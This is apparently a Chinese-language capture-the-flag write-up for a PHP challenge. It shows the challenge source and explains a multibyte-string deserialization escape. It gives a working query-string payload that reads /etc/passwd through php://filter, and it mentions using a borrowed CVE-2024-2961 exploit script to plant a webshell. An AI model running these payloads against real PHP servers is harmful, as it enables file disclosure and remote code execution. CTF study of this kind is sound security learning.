本文最后更新于 2024年9月4日 下午
题目
在线靶场
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php highlight_file(__FILE__); error_reporting(0); function substrstr($data) { $start = mb_strpos($data, "["); $end = mb_strpos($data, "]"); return mb_substr($data, $start + 1, $end - 1 - $start); } class read_file{ public $start; public $filename="/etc/passwd"; public function __construct($start){ $this->start=$start; } public function __destruct(){ if($this->start == "gxngxngxn"){ echo 'What you are reading is:'.file_get_contents($this->filename); } } } if(isset($_GET['start'])){ $readfile = new read_file($_GET['start']); $read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag"; if(preg_match("/\[|\]/i", $_GET['read'])){ die("NONONO!!!"); } $ctf = substrstr($read."[".serialize($readfile)."]"); unserialize($ctf); }else{ echo "Start_Funny_CTF!!!"; } Start_Funny_CTF!!!
|
分析
利用这个函数进行读取
1 2 3 4 5
| public function __destruct(){ if($this->start == "gxngxngxn"){ echo 'What you are reading is:'.file_get_contents($this->filename); } }
|
需要进行反序列化
1 2
| $ctf = substrstr($read."[".serialize($readfile)."]"); unserialize($ctf);
|
先简单的测试一下在上部分构造序列化的样子
传入gxngxngxn,长度为82。
接下来尝试利用file_get_contents,最常见的就是利用伪协议进行读取php://filter/convert.base64-encode/resource=/etc/passwd
然后需要进行截取,详细的请看我nepctf的解析,简单的来说就是进行逃逸,利用%f0和%9f进行逃逸
需要逃逸的内容是O:9:"read_file":2:{s:5:"start";s:126:"
,就是相当于覆盖前面的内容,用自己的链
1
| read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%9f
|
我对这个的理解就是增三减一,这题是38,构造13个%f0abc和1个%9f就可以达到覆盖的作用
通常到这一步应该就结束了,但是并不知道flag的文件名,还是需要命令执行,回收世界线。
官p给出的是考察了CVE-2024-2961,具体内容我们先按下不表,利用exp先打通一下。
这里借用的晨曦师傅的脚本,可以去了解一下,脚本需要微调一下,官方的也可以。
解题
其实环境弄了几个小时,一直有问题报错,基本的原理我已经懂了,先上payload吧
1
| ?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%9f&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}
|
然后利用exp打通写马进去,这里注意环境要在3.10以上,尽量在linux环境,弄了半天没有完成orz,但是基本原理还是懂了的。
另起:昨天写完后回去突然就明白了,只需要把https改为http就可以成功了
然后读取flag